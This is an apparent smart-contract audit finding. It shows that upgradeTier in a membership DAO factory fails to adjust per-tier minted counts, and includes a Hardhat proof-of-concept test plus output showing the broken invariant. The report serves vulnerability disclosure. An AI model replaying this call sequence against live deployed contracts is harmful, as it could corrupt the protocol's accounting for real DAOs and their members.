The amount of minted membership tokens are accounted in the DAO config struct. We can describe the protocol invariant:
I.e. the amount of minted tokens accounted in the struct must be equal to the sum of the actual existing supply for a given tier. This invariant can be broken.
The minted amounts need to be adjusted two times, once for the newly minted tokens, once for the burned tokens. Neither is done in this case.
The following PoC demonstrates the issue.
import { expect } from "chai";
import { ethers } from "hardhat";
describe("NativeMetaTransaction", function () {
let owner: any, user: any, attacker: any;
let currencyManager, membershipImplementation, membershipFactory: any, testERC20:any;
let DAOType:any, DAOConfig:any, TierConfig:any;
beforeEach(async function () {
[owner, user, attacker] = await ethers.getSigners();
const CurrencyManager = await ethers.getContractFactory("CurrencyManager");
currencyManager = await CurrencyManager.deploy();
await currencyManager.deployed();
console.log("CurrencyManager deployed at:", currencyManager.address);
const MembershipERC1155 = await ethers.getContractFactory("MembershipERC1155");
membershipImplementation = await MembershipERC1155.deploy();
await membershipImplementation.deployed();
console.log("MembershipERC1155 deployed at:", membershipImplementation.address);
const MembershipFactory = await ethers.getContractFactory("MembershipFactory");
membershipFactory = await MembershipFactory.deploy(currencyManager.address, owner.address, "https://baseuri.com/", membershipImplementation.address);
await membershipFactory.deployed();
console.log("MembershipFactory deployed at:", membershipFactory.address);
const ERC20 = await ethers.getContractFactory("OWPERC20");
testERC20 = await ERC20.deploy('OWP', 'OWP');
await testERC20.deployed();
console.log("TestERC20 deployed at:", testERC20.address);
await currencyManager.connect(owner).addCurrency("0x7ceb23fd6bc0add59e62ac25578270cff1b9f619");
await currencyManager.connect(owner).addCurrency("0x1BFD67037B42Cf73acF2047067bd4F2C47D9BfD6");
await currencyManager.connect(owner).addCurrency("0x3c499c542cEF5E3811e1192ce70d8cC03d5c3359");
await currencyManager.connect(owner).addCurrency("0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174");
await currencyManager.connect(owner).addCurrency(testERC20.address);
});
it("Breaks invariant minted == sum of balances", async function () {
DAOType = { PUBLIC: 0, PRIVATE: 1, SPONSORED: 2, };
DAOConfig = { ensname: "test", daoType: DAOType.SPONSORED, currency: testERC20.address, maxMembers: 5000, noOfTiers: 7 };
TierConfig = [
{ price: 0, amount: 2, minted: 0, power: 12 },
{ price: 0, amount: 4, minted: 0, power: 6 },
{ price: 0, amount: 8, minted: 0, power: 3 },
{ price: 0, amount: 16, minted: 0, power: 12 },
{ price: 0, amount: 32, minted: 0, power: 6 },
{ price: 0, amount: 64, minted: 0, power: 3 },
{ price: 0, amount: 128, minted: 0, power: 12 },
];
const tx = await membershipFactory.createNewDAOMembership(DAOConfig, TierConfig);
const receipt = await tx.wait();
const event = receipt.events.find((event:any) => event.event === "MembershipDAONFTCreated");
const ensName = event.args[2][0];
const nftAddress = event.args[1];
const ensToAddress = await membershipFactory.getENSAddress("test")
expect(ensName).to.equal("test");
expect(ensToAddress).to.equal(nftAddress);
console.log("Sponsored DAO created.")
const tx_join_dao = await membershipFactory.connect(user).joinDAO(nftAddress, 6);
const tx_join_dao_receipt = await tx_join_dao.wait();
const tx_join_dao_2 = await membershipFactory.connect(user).joinDAO(nftAddress, 6);
const tx_join_dao_2_receipt = await tx_join_dao_2.wait();
const tx_upgrade_tier = await membershipFactory.connect(user).upgradeTier(nftAddress, 6);
const receipt_upgrade_tier = await tx_upgrade_tier.wait();
const nftContract = await ethers.getContractAt("MembershipERC1155", nftAddress);
const userBalance = await nftContract.balanceOf(user.address, 5);
expect(userBalance).to.equal(1);
console.log("Call to upgradeTier() successful.");
const tiers = await membershipFactory.tiers(nftContract.address);
console.log(tiers);
});
});
[
...,
[
BigNumber { value: "64" },
BigNumber { value: "0" },
BigNumber { value: "3" },
BigNumber { value: "0" },
amount: BigNumber { value: "64" },
price: BigNumber { value: "0" },
power: BigNumber { value: "3" },
minted: BigNumber { value: "0" }
],
[
BigNumber { value: "128" },
BigNumber { value: "0" },
BigNumber { value: "12" },
BigNumber { value: "2" },
amount: BigNumber { value: "128" },
price: BigNumber { value: "0" },
power: BigNumber { value: "12" },
minted: BigNumber { value: "2" }
]
]
High - any user can execute the sequence of action for any DAO where daoType == SPONSORED.
Medium - protocol invariant is broken, leading to unexpected behaviour.